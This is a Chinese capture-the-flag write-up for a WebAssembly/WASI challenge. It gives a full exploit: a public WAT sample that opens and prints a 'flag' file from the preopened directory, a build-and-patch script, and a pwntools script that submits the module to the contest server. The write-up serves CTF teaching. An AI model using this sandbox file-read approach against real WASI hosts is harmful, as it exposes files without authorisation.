【CTF对抗-[KCTF]第十三题 共存之道 WP】此文章归类为:CTF对抗。
前言:
讲真 第一次接触wasm,这个题出的让我有点失望我说实在的,如果是内存利用的话我还能接受,但是打到最后发现只是入门学习而且基本上就是GitHub搬家过来的我只能说出题人 再接再厉吧。
分析:
一般这种题会提供diff,但是没有提供,证明没有大魔改,然后根据官方文档去看API的调用是否被改变。IDA搜索字符串"wasi_snapshot_preview1" 可以发现剩余少的可怜的API,主要有用的如下
1
2
3
4
5
6
|
(
import
"wasi_snapshot_preview1"
"fd_read"
(func $fd_read (param i32 i32 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"fd_write"
(func $fd_write (param i32 i32 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"fd_prestat_get"
(func $fd_prestat_get (param i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"fd_prestat_dir_name"
(func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"path_open"
(func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"proc_exit"
(func $proc_exit (param i32)))
|
利用ORW直接读取flag,但是你要我在第一次短时间内写出wat文件的格式是很难的啦,直接GitHub搜就完事了。模板连接如下
这里要稍微改下的就是path_open的2个权限标志,把2个3都改成2(fd_rights_base 和fd_rights_inheriting ),
生成wasm的脚本是嫖的
完整EXP如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
|
import
os
code
=
'''
;; This sample shows how to read a file using WASM/WASI.
;;
;; Reading a file requires sandbox permissions in WASM. By default, WASM
;; module cannot access the file system, and they require special permissions
;; to be granted from the host. The majority of this code deals with obtaining
;; the "pre-set" directory the host mapped for us, so we can open the file
;; and read it.
;;
;; Eli Bendersky [https://eli.thegreenplace.net]
;; This code is in the public domain.
(module
(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
(memory (export "memory") 1)
(func $main (export "_start")
(local $errno i32)
;; Call fd_prestat_get to obtain length of dir name at fd=3
;; We pass the pointer to $prestat_tag_buf -- the actual length will
;; be written to the next word in memory, which is $prestat_dir_name_len
(local.set $errno
(call $fd_prestat_get (i32.const 3) (global.get $prestat_tag_buf)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 6900) (i32.const 28))))
;; Call fd_prestat_dir_name to obtain dir name at fd=3, saving it to
;; $fd_prestat_dir_name
(local.set $errno
(call $fd_prestat_dir_name
(i32.const 3)
(global.get $prestat_dir_name_buf)
(i32.load (global.get $prestat_dir_name_len))))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 6950) (i32.const 33))))
;; Sanity checking of the prestat dir: expect it to start with '/'
;; (ASCII 47)
(i32.or
(i32.lt_u (i32.load (global.get $prestat_dir_name_len)) (i32.const 1))
(i32.ne (i32.load8_u (global.get $prestat_dir_name_buf)) (i32.const 47)))
if
(call $die (i32.const 7025) (i32.const 49))
end
;; Open the input file using fd=3 as the base directory.
;; This assumes the input file is relative to the base directory.
;; The result of this call will be the fd for the opened file in
;; $path_open_fd_out
;;
;; Note: the rights flags are minimal -- only allowing fd_read.
;; Previously I tried giving "all" rights, but this didn't work in
;; node (though it did in other runtimes). The reason for this may
;; be that each fd has its maximal inheriting rights (specified in
;; the fdstat.fs_rights_inheriting field), and we can't open a file
;; with higher rights than its parents' inheriting field allows.
(local.set $errno
(call $path_open
(i32.const 3) ;; fd=3 as base dir
(i32.const 0x1) ;; lookupflags: symlink_follow=1
(i32.const 7940) ;; file name in memory
(i32.const 10) ;; length of file name
(i32.const 0x0) ;; oflags=0
(i64.const 2) ;; fd_rights_base: fd_read rights
(i64.const 2) ;; fd_rights_inheriting: fd_read rights
(i32.const 0x0) ;; fdflags=0
(global.get $path_open_fd_out)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 7090) (i32.const 37))))
;; (call $println_number (i32.load (global.get $path_open_fd_out)))
;; Populat iovecs for fd_read; we create a single vector with a
;; buffer length of 128
(i32.store (global.get $read_iovec) (global.get $read_buf))
(i32.store (i32.add (global.get $read_iovec) (i32.const 4)) (i32.const 128))
(local.set $errno
(call $fd_read
(i32.load (global.get $path_open_fd_out))
(global.get $read_iovec)
(i32.const 1)
(global.get $fdread_ret)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $die (i32.const 7130) (i32.const 29))))
;; Print out how many bytes were actually read
(call $println_number (i32.load (global.get $fdread_ret)))
;; Print "read from file" header
(call $println (i32.const 7170) (i32.const 17))
;; ... now print what was actually read; the read buffer was pointed to
;; by the fd_read io vector, and use fd_read's "number of bytes read"
;; return value for the length.
(call $println (global.get $read_buf) (global.get $fdread_ret))
)
;; println prints a string to stdout using WASI, adding a newline.
;; It takes the string's address and length as parameters.
(func $println (param $strptr i32) (param $len i32)
;; Print the string pointed to by $strptr first.
;; fd=1
;; data vector with the pointer and length
(i32.store (global.get $datavec_addr) (local.get $strptr))
(i32.store (global.get $datavec_len) (local.get $len))
(call $fd_write
(i32.const 1)
(global.get $datavec_addr)
(i32.const 1)
(global.get $fdwrite_ret)
)
drop
;; Print out a newline.
(i32.store (global.get $datavec_addr) (i32.const 8010))
(i32.store (global.get $datavec_len) (i32.const 1))
(call $fd_write
(i32.const 1)
(global.get $datavec_addr)
(i32.const 1)
(global.get $fdwrite_ret)
)
drop
)
;; Prints a message (address and len parameters) and exits the process
;; with return code 1.
(func $die (param $strptr i32) (param $len i32)
(call $println (local.get $strptr) (local.get $len))
(call $proc_exit (i32.const 1))
)
;; println_number prints a number as a string to stdout, adding a newline.
;; It takes the number as parameter.
(func $println_number (param $num i32)
(local $numtmp i32)
(local $numlen i32)
(local $writeidx i32)
(local $digit i32)
(local $dchar i32)
;; Count the number of characters in the output, save it in $numlen.
(i32.lt_s (local.get $num) (i32.const 10))
if
(local.set $numlen (i32.const 1))
else
(local.set $numlen (i32.const 0))
(local.set $numtmp (local.get $num))
(loop $countloop (block $breakcountloop
(i32.eqz (local.get $numtmp))
br_if $breakcountloop
(local.set $numtmp (i32.div_u (local.get $numtmp) (i32.const 10)))
(local.set $numlen (i32.add (local.get $numlen) (i32.const 1)))
br $countloop
))
end
;; Now that we know the length of the output, we will start populating
;; digits into the buffer. E.g. suppose $numlen is 4:
;;
;; _ _ _ _
;;
;; ^ ^
;; $itoa_out_buf -----| |---- $writeidx
;;
;;
;; $writeidx starts by pointing to $itoa_out_buf+3 and decrements until
;; all the digits are populated.
(local.set $writeidx
(i32.sub
(i32.add (global.get $itoa_out_buf) (local.get $numlen))
(i32.const 1)))
(loop $writeloop (block $breakwriteloop
;; digit <- $num % 10
(local.set $digit (i32.rem_u (local.get $num) (i32.const 10)))
;; set the char value from the lookup table of digit chars
(local.set $dchar (i32.load8_u offset=8000 (local.get $digit)))
;; mem[writeidx] <- dchar
(i32.store8 (local.get $writeidx) (local.get $dchar))
;; num <- num / 10
(local.set $num (i32.div_u (local.get $num) (i32.const 10)))
;; If after writing a number we see we wrote to the first index in
;; the output buffer, we're done.
(i32.eq (local.get $writeidx) (global.get $itoa_out_buf))
br_if $breakwriteloop
(local.set $writeidx (i32.sub (local.get $writeidx) (i32.const 1)))
br $writeloop
))
(call $println
(global.get $itoa_out_buf)
(local.get $numlen))
)
;;
;; Memory mapping and initialization.
;;
(data (i32.const 6900) "error: fd_prestat_get failed")
(data (i32.const 6950) "error: fd_prestat_dir_name failed")
(data (i32.const 7025) "error: expect first preopened directory to be '/'")
(data (i32.const 7090) "error: unable to path_open input file")
(data (i32.const 7130) "error: fd_read failed")
(data (i32.const 7170) "Read from file:\\n")
;; These slots are used as parameters for fd_write, and its return value.
(global $datavec_addr i32 (i32.const 7900))
(global $datavec_len i32 (i32.const 7904))
(global $fdwrite_ret i32 (i32.const 7908))
;; For prestat calls
(global $prestat_tag_buf i32 (i32.const 7920))
(global $prestat_dir_name_len i32 (i32.const 7924))
(global $prestat_dir_name_buf i32 (i32.const 7936))
;; File name
(data (i32.const 7940) "flag")
;; Output buf for path_open to write fd into
(global $path_open_fd_out i32 (i32.const 7952))
;; Using some memory for a number-->digit ASCII lookup-table, and then the
;; space for writing the result of $itoa.
(data (i32.const 8000) "0123456789")
(data (i32.const 8010) "\\n")
(global $itoa_out_buf i32 (i32.const 8020))
;; Buffer for fd_read
(global $read_iovec i32 (i32.const 8100))
(global $fdread_ret i32 (i32.const 8112))
(global $read_buf i32 (i32.const 8120))
)
'''
lines
=
code.split(
'\n'
)
code
=
''
for
line
in
lines:
if
'/'
not
in
line:
code
+
=
line
+
'\n'
os.remove(
"exp.wat"
)
with
open
(
'exp.wat'
,
'w'
) as f:
f.write(code)
os.system(
'wat2wasm --enable-all --no-check exp.wat'
)
with
open
(
"exp.wasm"
,
"rb"
) as f:
wasm_data
=
f.read()
wasm_data
=
wasm_data.replace(b
'\xfc\x0c\x00\x00'
, b
'\xfc\x0c\x01\x01'
)
with
open
(
"exp.wasm"
,
"wb"
) as f:
f.write(wasm_data)
|
上传脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from
pwn
import
*
context.log_level
=
'debug'
# 读取本地的exp.wasm文件
with
open
(
"exp.wasm"
,
"rb"
) as wasm_file:
wasm_data
=
wasm_file.read()
# 将WASM文件数据进行Base64编码
base64_data
=
base64.b64encode(wasm_data).decode()
# 构建要发送的数据字符串
data_to_send
=
f
"{base64_data}"
# 连接到服务器并发送数据
with remote(
"123.59.196.133"
,
10040
) as r:
r.send(data_to_send)
r.interactive()
|
总结:
整了那么久 结果发现GitHub现成的,你说你好歹魔改个内存bug出来,我去花时间调试我也不会喷什么,就是失望,就一个ORW。
更多【CTF对抗-[KCTF]第十三题 共存之道 WP】相关视频教程:www.yxfzedu.com